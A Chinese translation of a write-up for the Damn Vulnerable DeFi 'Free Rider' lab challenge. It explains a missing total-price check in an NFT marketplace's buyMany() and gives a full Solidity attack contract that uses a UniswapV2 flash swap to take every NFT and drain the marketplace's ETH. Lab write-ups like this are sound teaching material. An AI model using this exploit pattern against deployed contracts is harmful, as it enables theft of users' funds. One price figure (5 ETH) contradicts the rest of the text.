本文分析了 Damn Vulnerable DeFi v3 挑战中的 Free Rider 题目,该题目的目标是从NFT市场窃取NFT并排空市场的ETH。文章详细分析了FreeRiderNFTMarketplace.sol合约的buyMany()函数中的漏洞,利用该漏洞可以仅支付最高价格的NFT的价格来购买所有NFT,并通过UniswapV2的闪兑功能获取足够的ETH,最终成功攻击了市场合约。
Free Rider v3 向我们展示了一个 NFT 市场,以每个 15 ETH 的价格出售 6 个 NFT。开发者悬赏奖励给任何能够从市场窃取 NFT 并将其发送到恢复合约的人。我们的任务是窃取 NFT,此外还要耗尽市场中的所有 ETH!
FreeRiderNFTMarketplace.sol - 拥有 NFTS & ETH 的市场(最重要)
FreeRiderRecovery.sol - 用于发送被盗 NFT 以获取开发者赏金的恢复合约(重要性低)
挑战描述给了我们一个提示:“如果你能免费获得 ETH,至少是一瞬间。”查看挑战,建立了一个 UniswapV2 WETH/DVT 池。UniswapV2 具有“闪电兑换”功能,该功能用作闪电贷,因此我们可以在 1 笔交易中获得大量 ETH,尽管我们必须在交易完成前偿还它以及费用。考虑到这一点,让我们检查一下市场合约,看看如何利用闪电兑换。
市场合约只有两个我们可以调用的外部函数:
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant
我们从 0 个 NFT 开始,所以我们唯一的选择是在 buyMany() 中找到漏洞。buyMany() 为每个输入 tokenId 调用 _buyOne(),并且 _buyOne() 检查 msg.value 是否小于要购买的 NFT 的价格。这是一个主要的漏洞,因为从未计算或检查购买传递给 buyMany() 的所有 tokenIds 所需的总金额;因此,攻击者只需支付最昂贵的一个 NFT 的费用即可购买所有 NFT!
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0)
revert TokenNotOffered(tokenId);
//@audit 不检查购买所有 token 所需的总金额,只检查 msg.value
// 攻击者可以通过发送等于所有 token 最高价格的 msg.value 来购买所有 token。
// 这个挑战有 6 个 token,每个 15eth,购买所有 token 将花费 90eth,但可以用 15eth 购买它们
if (msg.value < priceToPay)
revert InsufficientPayment();
--offersCount;
// 从卖家转移到买家
DamnValuableNFT _token = token; // 为节省 gas 进行缓存
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
//@audit 市场使用自己的以太币来支付 token 所有者,因此如果攻击者只发送足够的以太币来支付成本最高的 nft,
// 由于未检查 msg.value >= 所有 nfts 的总价,它将耗尽自己的以太币
// 使用缓存的 token 向卖家付款
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
_buyOne() 还使用市场自己的 ETH 来支付 NFT 所有者,因此如果攻击者以仅一个最高价 NFT 的成本购买多个 NFT,它将耗尽自己的 ETH。我们现在已经准备好所有部分:一个闪电兑换来获得一些 ETH,以及一个漏洞,能够以 1 个 NFT 的成本购买多个 NFT。让我们把它们放在一起!
首先,在 FreeRiderNFTMarketplace.sol 的底部,我们需要为我们需要调用的函数添加 UniswapV2 接口存根才能获得闪电兑换:
// @audit
// 攻击合约需要的接口
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IWETH {
function deposit() external payable;
function transfer(address recipient, uint amount) external returns (bool);
function withdraw(uint) external;
}
接下来,我们可以构建我们的攻击来完全耗尽市场 ETH!市场从 90ETH 开始,6 个 NFT 以每个 5ETH 的价格出售。所以我们可以:
以 15 ETH 购买 6 个 NFT => 市场将剩下 90+15-(6*15) = 15 ETH
提供 2 个 NFT,每个 15 ETH => 市场剩下 15 ETH
以 15 ETH 购买 2 个 NFT => 市场将剩下 15+15-(2*15) = 0 ETH
让我们编写代码:
contract FreeRiderNFTMarketplaceAttack is IERC721Receiver {
FreeRiderNFTMarketplace market;
IUniswapV2Pair uniswapV2Pair;
address recoveryAddr;
address playerAddr;
uint256 constant LOAN_AMOUNT = 31 ether;
constructor(address payable _market, address _uniswapV2Pair, address _recoveryAddr, address _playerAddr) {
market = FreeRiderNFTMarketplace(_market);
uniswapV2Pair = IUniswapV2Pair(_uniswapV2Pair);
recoveryAddr = _recoveryAddr;
playerAddr = _playerAddr;
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function attack() external {
// 1) 使用 UniswapV2 闪电兑换获得 LOAN_AMOUNT 的闪电贷
// 执行闪电兑换(Uniswapv2 版本的闪电贷)
// https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps
uniswapV2Pair.swap(LOAN_AMOUNT, 0, address(this), hex"00");
}
// uniswapv2 闪电兑换将调用此函数
function uniswapV2Call(address, uint, uint, bytes calldata) external {
IWETH weth = IWETH(uniswapV2Pair.token0());
weth.withdraw(LOAN_AMOUNT);
// 2) 以 15 以太币购买 6 个 nfts => 市场将剩下 90+15-(6*15) = 15 以太币
uint256[] memory nftIds = new uint256[](6);
for(uint8 i=0; i<6;) {
nftIds[i] = i;
++i;
}
market.buyMany{value: 15 ether}(nftIds);
// 3) 提供 2 个 nfts,每个 15 以太币:市场剩下 15 以太币
market.token().setApprovalForAll(address(market), true);
uint256[] memory nftIds2 = new uint256[](2);
uint256[] memory prices = new uint256[](2);
for(uint8 i=0; i<2;) {
nftIds2[i] = i;
prices[i] = 15 ether;
++i;
}
market.offerMany(nftIds2, prices);
// 4) 以 15 以太币购买它们 => 市场将剩下 15+15-(2*15) = 0 以太币
market.buyMany{value: 15 ether}(nftIds2);
// 将购买的 nfts 转发到恢复地址以获得 eth 奖励
// 必须包括 player/攻击者地址作为 bytes memory data 参数
// 因为 FreeRiderRecovery.onERC721Received() 将解码它
// 并将奖励发送给它
DamnValuableNFT nft = DamnValuableNFT(market.token());
for (uint8 i=0; i<6;) {
nft.safeTransferFrom(address(this), recoveryAddr, i, abi.encode(playerAddr));
++i;
}
// 计算费用并偿还贷款。
uint256 fee = ((LOAN_AMOUNT * 3) / uint256(997)) + 1;
weth.deposit{value: LOAN_AMOUNT + fee}();
weth.transfer(address(uniswapV2Pair), LOAN_AMOUNT + fee);
// 将从市场窃取的 eth 转发给攻击者
payable(playerAddr).transfer(address(this).balance);
}
receive() external payable {}
}
最后,修改 free-rider.challenge.js 以部署和执行我们的攻击合约:
it('Execution', async function () {
/** 在这里编写你的解决方案 */
attacker = await (await ethers.getContractFactory('FreeRiderNFTMarketplaceAttack', player)).deploy(
marketplace.address, uniswapPair.address, devsContract.address, player.address
);
await attacker.attack();
});
并检查它是否有效 npx hardhat test --grep "Free Rider"
查看我的 Damn Vulnerable DeFi Solutions 仓库获取完整源代码。
- 原文链接: dacian.me/damn-vulnerabl...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!